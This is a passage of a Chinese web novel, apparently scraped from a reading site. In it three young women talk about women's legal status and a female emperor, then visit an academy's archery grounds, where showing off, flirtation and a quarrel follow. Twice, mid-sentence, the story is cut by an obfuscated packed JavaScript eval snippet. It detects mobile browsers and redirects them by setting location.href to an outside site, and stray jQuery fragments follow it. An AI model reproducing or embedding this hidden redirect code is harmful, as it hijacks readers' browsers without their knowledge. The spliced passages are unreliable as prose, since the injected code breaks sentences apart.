“可是不怕归不怕,还是好憋气啊,好不甘心,好不服啊,凭什么男人就能畅所无阻,独步天下,而女子却只因身为女子就举步维艰,没有男子,女子连户籍都没有,死了男人,没了户主,要么改嫁,要么沦为贱籍,我以前在惠王府上做歌女,直到长安和堂邑夫进京,我才落入堂邑夫名下,入了良籍,成了良家子。这天下,给女人的空间就这么一点点,稍有个闪失,就没了活路!”平安难过道。 户籍真是女人最大的痛了,女人的户籍永远要挂在男人名下,依附男人。没有男人的女人就只能没入贱籍。 大汉律法,女子十四男子十六成人,方可经户曹审核登记在册,录入户籍。 我因为身子坏了长不大,按外表来看是个没成人的孩子,没资格拥有户籍这种东西,也就是说,不论我是男是女,在律法层面上讲没成年,我就不算是个人。 花铁铁在南唐的户籍是个假的,在北汉根本就没有户籍,是个氓流,连沦为贱籍的下等人都不如。 这样一看好惨啊,唉,千百年来女人都是这样活过来的,我们三个女孩子,心有不甘,却无能为力,悲戚不已。 平安的貂儿夫妻,踹窝子了,我们把貂宝宝们分出去养,这屋只留了貂儿夫妻,这会小两口正你追我赶玩得欢心。我们三人,心事重重的样子,默不作声地看着它们互相追赶,互相戏耍,心情慢慢好了一些,忍不住唤它们过来,逗弄它们。 平安轻轻抚摸着貂儿,看了看我,道:“我,我曾经梦到一个男女平等的世界,真想带你们一起去看看,唉,可那个时代太遥远了,欸……”平安说着说着忽然好似想起什么,眼睛一亮道:“要是,要是咱们这里也能出个女皇武则天就好了,那样女子地位上升,就可以单立女户,开办女学,甚至入朝为官做女相……” “啊,女户?女学?女相?那个武则天做了皇帝后,她治下的女人居然可以和男人一样安身立命啊?!”花铁铁震惊地看着平安,我也一脸惊讶。 “不然呢?女人做皇帝,不给女人谋福利,那做皇帝有什么意思?”平安道。 女人做皇帝,给女人谋福利?这句话不断在我心里回荡,好像有什么东西在心中萌发。我未及感触,那边花铁铁颇受了启发和刺激,竟开始大放厥词。 “女人做皇帝这么好!!?那咱们赶紧投奔太后,让太后登基做皇帝,当武则天吧?哦对了,她眼睛是不是快瞎了?啧,不中用!她要是因此不堪重任不愿意折腾,那咱们找她闺女代政长公主当皇帝也行,到时候咱们有从龙之功,想入个学宫什么的自不在话下。” 花铁铁对自己的主张很是满意,咧着大嘴,畅享未来,仿佛一切预期都已被实现。 “你要疯啊,你要死啊,你脑子进屎了,咱们主子是谁你忘啦,就为了上个破学识几个大字,你撺掇太后造反当皇帝,还太后不愿意,就换长公主,挑挑拣拣,你搁那玩过家家呢?” 女帝谁都能当啊,武则天的故事咱们都听了,她也不是轻轻松松当上皇帝的,那也是明枪暗箭,你死我活,千锤百炼,千辛万苦,遭了不知多少罪,最后一把年纪了才登上帝位的。 这种非常人可忍受之苦,需要拥有常人难以企及的毅力和心志。那种空前绝后的压力和磨砺,太后或许能够面对,勉强承受,可她如今年老多病,未必经得住,大概率创业未半,中道崩殂。 而长公主根本就不是能吃得了那个苦的人。且就她那个品性,上位以后以权谋私我信,给女人谋福利,提地位?哼哼,你想啥呢。 最后,她俩是能给别人实现愿望的人啊?太后心思深沉,长公主手段狠毒。废了巴事造反把她俩扶上帝位,反手就能扣下来一个功高盖主的帽子,给咱们绝杀了,还实现愿望?!呸! “再说背刺是最大的无耻!多大点事儿啊,你就要背弃主子换皇上,亏你还是江湖上鼎鼎大名的胭脂虎。还当真是一百斤的花铁铁,九十九斤半的反骨啊!?你可真行,真让我……恶心,对,恶心,你让我感到恶心!哕,哕……” 说着我作恶心狂呕状故意气花铁铁,花铁铁起身掐着我的脖子,摇晃着,说:“恶心死你恶心死你,哕哕哕,哕死你。”还抓起貂儿作势往我嘴巴里塞。 平安在一边哈哈笑着,说花铁铁的脑洞太雷人了,问她到底怎么想的,居然想出这种臭点子。说着把貂儿从花铁铁手里解救出来。 花铁铁被平安嘲笑,便一手继续挟着我,一手又去拉扯平安,我们三个人在床上又扭打成一团,直到精疲力竭。 花铁铁躺在中间,将我和平安左拥右抱在怀里。 我在她臂弯里找了个舒服角度,躺好道:“今儿这胡思乱想,胡言乱语,疯过闹过就翻篇,咱们的目的是读书长学问增见识,在哪读书,有没有学宫学子的身份腰牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056395|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不重要,只要把书读好,帮助你提升自己,别犯愚蠢的错误,助益你建功立业,等咱们成就以后,再能带动我朝女子提升地位,帮她们实现愿望,后世也会像咱们仰慕武则天一样崇拜咱们称赞咱们的。” 花铁铁这会儿脑子终于清醒了,故作老成道:“对对对,与其期待太后或者长公主成为武则天那样的人物,帮助咱们实现愿望,不如咱们凭借自己的本事,做一番功业,成为实现别人愿望的那个人。而且就只有像咱们这样又有能力,又品行高洁的人才既能实现自己愿望,又能帮助别人实现愿望,一般人根本不行!!对吧!!” 花铁铁自我抬举地说着,一脸自己高风傲骨,不愿意与太后长公主为伍的样子,仿佛刚才出那种馊主意的不是她一样。 平安捂着嘴抖着肩膀偷笑,说很是喜欢花铁铁满血复活,恢复傲娇的神气。 神气什么啊神气,那就是又开始不要脸了。 “嗯,虽然咱们不能进学宫学习,但是咱们可以弄一份儿学宫课表,他们学什么咱们就学什么。”我眼睛转了转,问道:“哎,你说要是在校场上,咱们把学宫那些学子给比下去了,他们会怎么样啊?” 花铁铁身子一颤,把我和平安一推,坐起身来,举起双臂,展示肌肉,孔武有力道:“我顿时觉的,有那块儿腰牌,赢了他们也没啥高兴的,反倒是没那块儿腰牌,赢了他们才爽到爆炸。” 看到重拾信心,精神百倍的花铁铁,我心中也充满力量和希望:“对吧!所以,没有武则天,咱们也能行!永远不要指望别人,就指望咱们自己。” 平安爬起身来,噘着嘴刚要埋怨花铁铁刚才推她实在粗鲁,下一刻便被强大威猛的花铁铁迷住了,星星眼道:“铁铁,你好壮啊!”说着,还用手捏了捏花铁铁胳膊上的肌肉,“好粗好大好硬啊,铁铁我好崇拜你!” “啧,都说了不要搞个人崇拜,不要搞个人崇拜,说你多少回了都不改,还老是这样,再这样,我可真要生气了哈。” 哎呀我草,论装,还得是她。 花铁铁明明心里都乐开花了,却硬要装作不愿意的样子,严肃地驯劝警告平安。嘴角明明压不下去还硬压,最后整个脸都跟着不住的抽筋,抽得咬肌都壮硕了两圈。 呸!虚伪,做作,我真是服死她了,哕! 再看平安,羞答答低着头,满脸都是我知道错了,娇滴滴的“嗯嗯”道:“可是,人家改不了啊,人家一看你那样子,就忍不住崇拜嘛!” 我要吐血了!!! 花铁铁叹了口气,道:“唉,好吧,也不怪你,实在是我人格魅力太大了,下次我注意点。” “嗯……”平安小鸟依人,靠在花铁铁肩上,不停地娇嗔:“可你刚才好凶啊,还说要生气,都吓到我了,我心都就到嗓子眼了,现在还砰砰乱跳,好伤心好难受的,都怪你,都是你的不好,都是你……” “啊,吓到了,那确实是我不好,心口难受啊,我看看,我摸摸,我给你揉揉……”花铁铁将平安抱在怀里,极力安抚。 平安夸赞花铁铁男友力爆棚,很是享受花铁铁对她的关切爱护。 我…… “啊……恶心,你们让我感到恶心。”我简直爆炸了,指着她俩,尖叫,怒吼道:“滚,滚……你俩给我滚,越远越好……” 说着把她俩赶出门外,然后将门重重合上!! 平安怯怯地窝在花铁铁怀里,看着门板,一脸莫名其妙,“长安又怎么啦!” 怎么啦?哼哼,不想哕到死,自救呢! 79. 惊艳 对于我突如其来的行径,花铁铁也很莫名其妙,与平安对视一眼。稍一思索,然后一脸懂了的样子,朗声道:“她定是刚才也被我迷倒了,想第一个向我表达崇拜之意,却被你抢了先,她向来不甘人后,于是就不乐意了。” 平安点点头,眼睛转了转,也朗声道:“可是长安再好强,也不可能和我争啊,她应该是冲你的……”语气颇有一种被花铁铁连累的委屈感。 两人一边说着一边转身,向院子外面走去。 花铁铁扯着嗓子,道:“冲我来的?怎么可能冲我?噢,对对对,冲我来的!唉,崇拜到极致就是嫉妒,她嫉妒我了,嫉妒我优秀,嫉妒我壮硕,嫉妒我高大威猛又俊朗,嫉妒我……” 气死我了气死我了……我想死,我不想活了……啊……我气死啦……啊……我抓狂地推门出去,却见她们已经勾肩搭背拐出院子走远了,我此时再跟上去理论,反倒是我无理取闹自讨没趣了。 “跟上来了没?”花铁铁小声问。 平安在花铁铁怀里回头快速地撇了一眼,说:“推门出来了,没跟上来。” “不能啊?以她的性子,不能就这么算了!”花铁铁道:“还搁那傻站着吗?” “嗯,小小一只,气得跟个豆包一样,怪可爱,又怪可怜的……是不是真戳到她痛点了,真生气不理咱们了?”平安又偷瞄了我一眼,怯怯地道:“是不是刚才的话太伤人了?以后咱们开玩笑还是有个度吧,别太过分了,有些事,有些字眼尽量避开,她在意。”平安忐忑起来。 “在意什么啊?她心脏强得很,哪这么容易伤到。”花铁铁继续揽着平安往前走,道:“谁叫她突然发飙说咱们恶心叫咱们滚,还把咱们赶出来的。再说咱们也没说啥啊,我什么也没说啊?怎么就伤人了?” 花铁铁依照习惯嘴硬不认。平安觉得这样不好,有些不乐意了。 花铁铁看了看平安,便软下来道:“好吧好吧,听你的都听你的,以后我注意。” 平安脸色这才舒展开来。 “喂,小豆包,午膳想吃点什么?哎,上哪去?”花铁铁牵着平安回来,想跟我和好,我却骂了声“吃屁”,一个飞身上了屋顶,头也不回的走了。 皇帝身边的老黄门郭公公,带着我去皇家冰库。当初在汉中凤临城,堂邑夫吩咐专人初步处理的时候,只让他们将血放出来存到水晶瓶中封存,现在,山君,巨鳄,和大鼋,已经剥皮去甲。它们的鞭,完整的取下来,整整齐齐放在一边,等着我单独处理。 山君的皮毛成色上乘,已经入了皇库,巨鳄的皮拿去做甲胄,作为丰秋宴的赏赐,大鼋的甲骨,要用作立春祭祀。 正午时分,我让人取来三口大鼎,将山君,巨鳄,大鼋,分别放入其中,以桃木为薪,山泉为饮,佐以我的秘制方子,配好药材,细熬慢炖。 只要护的火永不息,水永不绝,这汤便可流存千古,代代相传。是以负责看守的都是皇帝心腹,恪尽职守。 汤熬的越久,药用价值越高,三汤合一,既有活死人生白骨之效。更取“薪火相传,金汤永固”之意,实为上上大吉之物。皇帝赐名,三真汤。 我将盛有三物之血的三个水晶瓶,放进一个小冰鉴中,带回家中,日日有冰库的守卫,送冰到安园来。 在汉中的时候,堂邑夫便传信给同门,不日我师父的炼丹炉便随着一些用品和书籍,一同送入京中。到时候,按照秘法把它们用丹炉,炼制成血菩提,不仅能救死扶伤,还能提升修为,又是大功一件。 我院东厢房空着,西晒太阳十分盛烈,于是我将三套鞭悬于东厢房梁上,待晾晒成干,再入药用。 我忙完,将门锁好,便去看花铁铁和七皇子,还有平安,将课堂收拾的怎么样了,这院子种植了很多珍惜花卉,花团锦簇,原本叫锦绣园,如今用为读书讲学之用,便改名唤作书芳园。 正见,平安她们三人绑着襻膊,热火朝天的布置。见我回来了,就问我干啥去了。我将仆从打发下去,又请在院子里对弈谈笑的齐王惠王屏退左右,只留下旦公公从旁时候茶水。才简单说了一下, 花铁铁听了,就跟我预定了三颗血菩提,和三碗三真汤。 我应下,但也揶揄提醒她身子壮硕,到时候别补的气血暴涌,鼻血喷射。 她叫我滚。 我哈哈大笑着到亭子里齐王惠王边上观棋。惠王偷偷塞了一颗糖果给我,我赶紧背对着课堂,正襟危坐,面无表情,目不转睛,看棋入神的样子,细细品味口中的甜蜜。 吃完一颗,齐王又塞了一颗给我,我简直幸福死了,啊哈哈哈…… 第二日,庄先生并未来府上讲学,只差再传弟子送来一篇文章,和第一讲所需书目及课本。 文章是讲求学立心,为学正心之道,要求花铁铁读了以后,写一篇心得作对。 再将书目上的书都读了背了,待来日课上庄先生讲学的时候,方便探讨。没说期限,只说都看完了,差人去回禀一声便可。 这是好事,也是坏事,好事是我们不用每日焦虑,埋在书本里赶进度,坏事是我们得有高度的自觉性,不能拖拉,让先生久等。不能“囫囵吞枣”图快,也不能过度“细嚼慢咽”,如何拿捏分度,这更考验人。 学宫上课用的书籍课本,和外面的是不一样的,行间距要宽上许多,一是方便学生写心得,做笔记,而是方便先生审阅做批。 教材课本只送了两套来,一套给花铁铁,一套给七皇子。花铁铁拿到文章和课本,欢喜的不得了,有模有样地坐在自己的位置上,孜孜不倦的读起来,还真的像个正了八经的学子。 弄一张学宫的课表,对我们来说太简单,我将学宫课表绘制到一张宽一米,长一米半的布帛上,和平安一起挂在课堂后面墙上,以后我们这里就是个小学宫了。 学宫有春招,秋招,两次纳新。春招在春日宴之后,秋招在丰秋宴后。堂邑夫当初正赶上春招,而今郑清只等丰秋宴过了,便可秋招入学。 他的书僮是他的外甥卫不弃,平安说是郑清他二姐遇人不淑,被人哄骗失了身子,所生的私生子。如今刚满十岁,清秀端正,做事谨慎稳妥,小小年纪便和他舅舅郑清一样,是个不苟言笑的。 郑清卸了马场职务,要在秋招之前,将学业基础打好,于是便也来安园上课,跟着花铁铁一道读书,平安自然也要跟着一起做同学。 他们识字量最多的就是平安,其次是郑清和花铁铁,最后是七皇子。 庄先生是大儒,他的文章辞藻讲究,词义深奥,对一般人来说,是有些晦涩拗口的。我料到会有些难读,但没想到他们四个人凑一起,还能念得七零八落,那叫一个稀碎啊。 平安红着脸,狡辩说,文言文本来就难读,生僻字多,还是繁体,要是简体字她读得会更流畅一些。花铁铁和郑清不语,只是一味的看着庄先生的文章发愣。 唉,就这个文化程度,花铁铁还吵吵要上学宫,怎么去啊?花铁铁感受到我的眼神,头也不抬,侧了侧身子避开。 郑清也心情失 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花铁铁的字还可以慢慢练,郑清等不得,倘若在入学后,还写不出一手好字,让授课的夫子看着扎眼,心烦,初印象极差,糟了厌烦,以后在学宫可没好果子吃,怕是每日都要被罚去院中练字,作业轮不上修改不说,课也没法听了。 学宫学子品行端正,断然不会排挤孤立,耻笑说嘴。但郑清总是跟不上学习,难保不会被学宫劝退,那便是在打天子的脸了,一生前途,全部断送。 于是我和平安给他制定了一个异常紧凑的学习计划,他刚健木讷,生性坚韧,非常配合。 花铁铁要强,不肯落后,便跟郑清暗中较量起来。两个人除了吃饭如厕,剩下的时间就是读书练字,休息的时候,便运气练功,文武两不落。 学宫大考,先要获得首轮考试——堂试的八十个参考资格,堂试结束以后筛选出六十人,进行复试——院试,院试之后留下二十人进行最后学宫终试——殿试,进行排名。 学宫殿试和春闱殿试,同等级别。太祖皇帝建国之初,借鉴老唐南唐科举弊端,防止世家门阀,把持人才选拔机制,利用科举固权营私,阻断天下学子晋升之路,而特别设立。 学宫学子们,正式入朝走上仕途,有两种情况,一是大考名列前茅,二是连续三年进入院试,并持学宫岁旦评,便可入仕做官,从军为将, 堂邑夫顺利进入殿试,殿试还有些时日,进入殿试的学子继续备考。而排名前八十到二十一的学宫学子们,现下除了日程学习,就是要准备丰秋宴上觐演的节目,演出服饰是专属的仪甲披文武袖。 学宫学子甲胄,有重甲,轻甲,常甲,仪甲。 每年排名在前八十的学子才有资格穿着仪甲。 仪甲十分漂亮,也最是金贵,由鳞甲和绢甲组合,鳞甲部分使用镀金玄铁,绢甲部分花纹精美,采用金银线缂丝工艺,素有鲜花铠甲之称。 初试复试的排名出来以后,排位六十一到八十的,仪甲外披银色文武袖,四十一到六十的,仪甲外披蓝色文武袖,二十一到四十的,仪甲外披红色文武袖,第四名到二十名,仪甲外披紫色文武袖,前三甲紫色文武袖上有金线青云暗纹刺绣。 文武袖意寓文武双全,祝愿学子文能安邦定国,武能开疆拓土。也时时警示学子不可松懈轻怠,誓要文成武就。 八十位学子头上的发冠也是专属的凤翅金冠,金冠上配有红色绒球——“英雄胆”,英雄胆莲花底座,根据名次各有不同,分辨由各种等级的宝石及贵金属制作而成,光彩夺目。 80. 骑射 午后,我们去上林苑学宫校场找堂邑夫的路上,正好遇上演练完收队回学宫的银袖,蓝袖学子们。 他们骑着高头大马,威猛奇伟,衬得在路边儿避让的我们异常矮小粗陋失色。 一个那样的人物,就足以惊艳尘世,何况是一群,玉树临风,英驰俊朗,犹如天神降世一般,雄姿勃发的鲜衣儿郎,他们见惯了被人驻足崇拜的样子,面无表情,目不斜视,策马经过,只留下呆住的我们,久久不能收回视线。 花铁铁又开始冒酸水,说有什么啊,头上俩须子,跟蛐蛐似的,不过就是一群大虫子。 平安掀起围帽,看了又看那些学子远去的背影,想象着郑清身穿盔甲披文武袖的样子,不禁描述起来。 众人只听着没多说话,大家心里都不敢妄言。毕竟就算郑清拿了一个御赐入学的资格,以现在他的水平,别说顺利读完一门课程,那手字能不能上交一篇合格的作业都难说。连最起码得都不能保证做到,又怎么痴心妄想,在大考中排上名次,穿仪甲披文武袖,御前觐演呢? 平安是乐观的,是无忧无虑的,她愿意相信,凡是只要她想到,只要她预期,就一定会发生,一定会实现。于是,她幸福的无法言说,开心的像个雀跃的鸟儿,在无边无际的上林苑上,自由自在的翱翔。 堂邑夫正在场上练习御车,郑清带卫不弃过去找薛环,熟悉一下。薛环又将田男男介绍过来互相认识。 田世子这是第一次进入前二十,愈发刻苦起来。田男男也为自家主子高兴,远远看见我,就过来报喜跟我分享喜悦,说好久没见我了,甚是想念云云。 因为堂邑夫汉中一行,三拳打死一只大山君,救下落入虎穴的我一事,在学宫上上下下传遍了,田男男就问我虎穴什么样子,有没有受伤,什么时候回学宫。 又见我少了很多牙齿,以为是在虎穴所失。他惯会伺候人,最会察言观色,怕多嘴惹我伤心,便转移了话题,看着我身后穿着武服的花铁铁和带着围帽的平安,问这两位姐姐是谁。 不及我来介绍,花铁铁爽朗道:“我们当然就是长安的姐姐了,叫我大姐,这位是二姐。” 哟,花铁铁还挺上道的,女子在外,不可暴露闺名,以防被人轻贱,损了清誉。若是以前,她必定按照江湖规矩自报大名,嗓门不大,都显示不出她威名一般。如今她却知道顾念平安,只按排行来自我介绍了。 我赞赏的地看了她一眼,平安也欣慰一笑。 田男男叫了声大姐二姐,见场上田世子下来了,就赶紧回去伺候毛巾茶水。 郑清和卫不弃很上道,在堂邑夫和薛环的热落下,跟田世子,陈书等一众学宫学子熟悉起来。 田世子问田男男:“长安怎么不过来?” 田男男说:“长安大姐二姐来了,他得陪在左右,不方便过来。” 学宫中要好的学子,亲如兄弟,闲暇时也会邀请到各自家中做客,介绍自家姐妹相互认识,并没有什么禁忌,堂邑夫也认识了不少世家小姐,贵族名媛。 只是天热,他们这会儿在场上汗流浃背,上身有的褪去一只袖子,有的全脱了,姑娘远远的不过去,是很正常的,田世子便也没多问。 堂邑夫刻苦,喝完水,将疲乏的马车拉下场,换了一辆又上场操练起来。田世子要歇一会儿,他实在太累了,就跟郑清闲聊起来。还看了郑清的本命青莲,大为赞赏。 花铁铁看着那边靶场闲下来了,就想过去练练射箭。我跑过去请田世子带我们进靶场,田世子本来就打算再练两圈御车,之后去靶场练习射箭的,如此,便直接叫人将御车停好,放下茶杯招呼陈书一起去靶场。 我一脸喜色往回跑了几步,对远处花铁铁和平安招了招手,叫了两声,然后在靶场门口等她们。 已经开始练习射箭的田世子,听见我们说笑的动静回过头来,一看见花铁铁,就被惊艳到了,身子不由的战栗了一下。 陈书射了一箭,顺着田世子的视线,看过来,一下子也愣了。 两个血气男儿,喉结不由的上下滑动着,直到我将人领到跟前,引见完,花铁铁行了两次礼,他们才微微红着脸回礼,叫平身自便。 以他们的身份地位,什么美人没见过,原是花铁铁实在漂亮,今日平安给她搭的一身装束,又英姿飒爽的,分外惊艳,一时悸动也是正常。 为了不耽误世子练箭,我们选了一处远一点靶位。 花铁铁选着弓,小声嘀咕,刚才那些银袖蓝袖,看见路边儿的咱们也没怎么着啊?你不是说这两个一个是武安侯世子,一个是代政长公主驸马侄子,看见我就这样啊。好没见过世面的样子,真的是已经进入殿试的准紫袖吗? 花铁铁傲娇,混迹江湖这么多年,对男人欣赏她觊觎她甚至肖想她,从来都不予理会,如今却上心了。 我呵呵一笑,说:“谁叫你生得这般绝世美丽,还不戴围帽?刚才那些银袍蓝袍骑在马上奔驰而过,一片尘土,狼烟四起的,还那么颠簸,又是路边不起眼的行人,他们看那么仔细干啥吗?就是想看,马儿跑得那么快,他们还没看清楚你的脸,来不及被你倾倒,就绝尘而去了。” 花铁铁点点头,觉得有道理,学宫学子也是人,是男人,是俗人,并不真是无欲无求的天神下凡尘。 平安新奇,拿起一张弓,并未搭箭只对着靶子作势空射,我刚要快步过去拦住她,薛环就先一步上前伸手挡了一下,制止:“姐姐,空射是大忌。” “嗯?为什么?空射为什么是大忌啊?”平安不明所以。 田世子本来已经恢复正常,听得平安这曼妙的声音,只觉双腿又是一软,惊觉平时也不这样,难道是最近练习太过刻苦了? 陈书自持力要更好一些,正专心射箭,但这一箭准头却不必先前,他马上平稳气息,调整好心态,接下来三箭齐中靶心。 我们不禁拍手叫好。 田世子也不甘示弱,或者也想一展身手,便也箭箭直种靶心,赢得喝彩。 花铁铁大气赞叹道:“果然是殿试之才,名不虚传。”心下却暗暗较劲。 两位学子出完风头,薛环才给平安解释为什么不能空射。 搭弓射箭,弓弦上的力会随着弓箭的射出而卸掉,若是空拉,弓弦会反复弹动卸力,反震力都作用到弓臂上,造成细微损耗,一次两次看不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15068525|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,但是此举若不严令禁止,大家都习惯空射一下,久而久之,损耗日积月累,终有一日弓弦会断,弓臂会折。 这可不是闹着玩儿的,弓弦,弓臂折断的刹那爆发的力度极大,常人没有防备,轻则损伤肌肤筋骨,重则伤及手臂致残,甚至打落牙齿,击断鼻梁,撞碎面骨,毁坏容貌都是有的。 带着隐患的弓如击鼓传花,不知道最后传到谁手上,可不论传到谁手上发生不幸,先前那些空射过的,没有一个人是无辜的。 虽然正常射箭,弓弦弓臂也有损耗,但有些意外,可以人为避免,降低概率。所以靶场开弓绝不可空射,是他们自觉遵循的禁忌和自来养成的习惯。 平安很受教的点点头,将我递上的弓箭搭上。 花铁铁和平安第一箭都脱靶了,平安是力气太小,根本拉不开弓,箭射的太近了,弓箭几乎就在落在眼前,软趴趴的掉在地上,还上下弹了两下,就跟用手扔在地上的没区别。 花铁铁是射的太远了,箭直接越过靶子,飞远了。第二箭的时候,就把弓拉断了。吓得平安一躲,又赶紧问花铁铁有没有伤到。 花铁铁自然没事。 只是田世子和陈书震惊到了,不经感叹,这位大姐臂力惊人,眼神较之先前,清澈了不少。果然再美的女子,若是天生神力,便很祛魅,尤其花铁铁这样的女子,不是一般男子可以消受得起的。 像我大螳螂那种眼光超绝又有魄力的,天底下能有几个,花铁铁居然还不懂珍惜!! 弓是按照“力”计算分类的,学宫学子的配弓一般都是八力以上十五力之内的弓。不同力度的弓,射程也不一样,所以按着八到十力,十一到十三力,十四十五力,分别设置靶场。靶场的分布,是与校场配套的。 各大校场之间相去甚远,换校场需要骑马,花铁铁想去各个靶场试试手力,但平安看了看远处的郑清,说不想去,我妹妹不去,我自然也不想去。我们都不去,田世子和陈书,怎好单独带着花铁铁去呢? 于是花铁铁只能作罢。 花铁铁在武艺这块儿,有绝对的天赋,换了一张十力的弓,不用内力加持,只单纯的依靠臂力练准头,没几箭就掌握了射箭的要领和诀窍。 她觉得不过瘾不尽兴,就瞄上了骑射场,等堂邑夫练完御车过来的时候,花铁铁已经豪放地邀请田世子带着她去隔壁练骑射了。 场边围观的人越来越多,英姿飒爽的花铁铁,赢得的掌声也越来越多。不是他们见识少,而是花铁铁进步实在神速,从一开始的摸不清门路,到后来策马奔腾箭箭中靶,甚至加快马速,变换各种姿势,增加难度。 实在太让人叹为观止,望尘莫及了,最重要的是,她还是一个长得十分美艳动人,宛若天仙的女子…… 单支单支的发射,已经不能满足花铁铁,花铁铁骑马绕场一圈,然后四箭连发,又是一阵欢呼……花铁铁就是那种爱出风头的人,人越多,越爱显摆,偏她越显摆,越出色,越招人崇拜。 嫉妒是人类最恶劣最卑鄙的感情之一,它让我面目全非! “就特么知道撅着腚显摆,弯弓射箭谁特么不会啊。”我气鼓鼓道。 81. 五黑犬 听我那样说,薛环微微勾着嘴角,用双手将我的脸转过来,让我的视线强行转移,“长安你也会射箭吗?” 我眼睛嘟噜一转,软软糯糯地道:“……不会,你会吗?” 薛环将我的小心思尽收眼底,并不揭穿,“不太会,但能玩两下。” “那你能教我吗,环哥哥?” “好啊。” 薛环呵呵笑着一口应下,将我环在他怀里,搭弓上箭,然后一一讲解射击要领,这样,那样,那样,那样……细致入微,毫无遗漏,最后握着我的小手拉动弓弦,“嗖”的一下,“哇,上靶了,环哥哥你好厉害。” 后来才知道,其实那一箭,若非他为了让我正中靶心开怀而暗暗使劲,若非我为他正中靶心有面而暗暗用力,只要我们任何一方少点心思,那一箭必定正中靶心。但能上靶,我们已经很开心了,我拍着巴掌跳起来,他也享受着我的仰慕。 我和薛环一箭一箭地射着,嘻嘻哈哈地欢笑着,根本没注意到场外的李椒阴沉着脸走过来。 “环哥哥,你好棒啊!”我娇滴滴地夸赞。 不等薛环回应我,只见李椒气势汹汹地,在我们身侧站定,拿起弓箭,嗖嗖嗖连发数箭……把我和薛环射在靶子上的箭,噼里啪啦,都给射落了。 好气哦!他真的好过分!而且,还是那么幼稚。 李椒是刚从御车场上下来的,还光着膀子,浑身都是汗水,刚才搭弓射箭,汗珠子甩了我一脸。我噘着嘴巴,不悦地擦着汗水,看着他壮硕的腱子肉,没吭声。 李椒射完箭,转身将弓一挂,一副告诫薛环的样子,道:“他惯会骗人,你还是离他远些的好!”又冷着脸,朝我讥讽道:“以前和我在一起的时候连字都不认得,跟堂邑夫在一起就文韬武略,这会儿又连箭也不会射了,得手把手地教了,哥哥哥哥地叫着,谄媚的样子,真是叫人恶心。” 李椒啐了一口,头也不回的走了。 听到那声“恶心”,我心揪得疼,像霜打的茄子一样,难受的低下头。 薛环捧起我的脸,深情地看着我,柔声道:“你们的事儿,我早听说过了,他的话我不会听的,你也别放在心上。” 应该是听堂邑夫说的,那我没什么好担心的,堂邑夫知道深浅,我和李椒的事,他会跟薛环说,但不会说的细。只是书僮知晓后,方便在学宫为人处世,搞好人接关系的程度,毕竟李椒和堂邑夫同寝,却十分不对付。 我抬起睫羽,眼眶微红,对上薛环的眸子,点点头,吸了吸鼻子,眨巴眨巴眼睛,努力把泪水忍回去。 薛环心疼我,问道:“需要我给你出气吗?” 我摇摇头,等情绪好些了,能平静地说出话了,才开口道:“不用,以后堂大哥还要和他同朝为官的,不好因为这等鸡毛蒜皮的小事,起冲突闹起来。我和他,井水不犯河水,相安无事的好。” 可我还是忍不住伤心,不自觉的把头靠在薛环的肩头,眼睛深深藏在他怀里,眼泪都渗进他衣服上了。我以前不这样的,不知道为什么在薛环面前,我很自然就柔软了下来。 我没了练箭的兴致,就去找平安,一起看花铁铁骑射。 世家小姐闲暇时,来上林苑踏青出游,若恰好遇上学宫上学的族中兄弟在校场练习,也会前来打招呼,如是课间,像我们这样进入校场,一开眼界,长长见识,甚至搭弓射箭,尝试一番,也都是寻常。但像花铁铁这样艳压群芳,又技压群雄的,绝对空前。 学子们纷纷扒问是谁家姑娘。 太阳一般耀眼的花铁铁,放肆招摇,一直持续到学宫学子上课为止,幸好课间一般只有半个时辰。不然花铁铁再这样光芒四射下去,我不知道自己要眼红成什么样子。 堂邑夫已经在人群里,把花铁铁是他心上人这件事儿传遍了,众人神情各异。作为好兄弟,田世子和陈书,得知以后一惊,随即端正心意,真诚的恭敬起来。 李椒还是一脸不屑,冷酷至极。 平安道,李家大公子看着挺好挺随和的,这个二公子却总是拒人于千里之外的样子,拽拽的,有些吓人。 花铁铁黑脸不屑地道:他拽个屁,外强中干的很,她都不惜的调戏,稍一撩拨,就破防,“还挺……”花铁铁看了看我,接着道:“好玩的。” 我不说话,只仰头瞪了花铁铁一眼。 平安诧异地“啊”了一声,“你玩过?啊!不是不是,我是说,你调戏过?不是不是,我是想问你什么时候和他有过接触?”平安慌张极了,有些语无伦次,围帽下的脸蛋红彤彤的。 “还用调戏吗?”花铁铁呵呵一乐,吊儿郎当地道:“他挂相,一看就知道是哪种人。” “哇,铁铁你好眼力,好会看人啊。”平安也不分辨花铁铁说得到底对不对,人家李椒到底是不是花铁铁定义的那样,只私心觉得她说得好有道理,就再次折服。 花铁铁得意起来,傲娇地道:“那是,我眼多毒啊,江湖是白混的吗?” “哕!!!”我故意的,所以哕得特别夸张。 “又吐,又吐,看我不掐死你,哇呀呀,我来啦……” “啊哈哈哈,你们等等我……” 三人你追我赶,疯闹完了,我们找了一处高地,坐下来,俯瞰辽阔的原野。 柳延年抱着一个黑色的什么东西,从我们身后跑着过来,却因跑得太急了,没注意脚下,忽然绊了一脚,叫了一声。 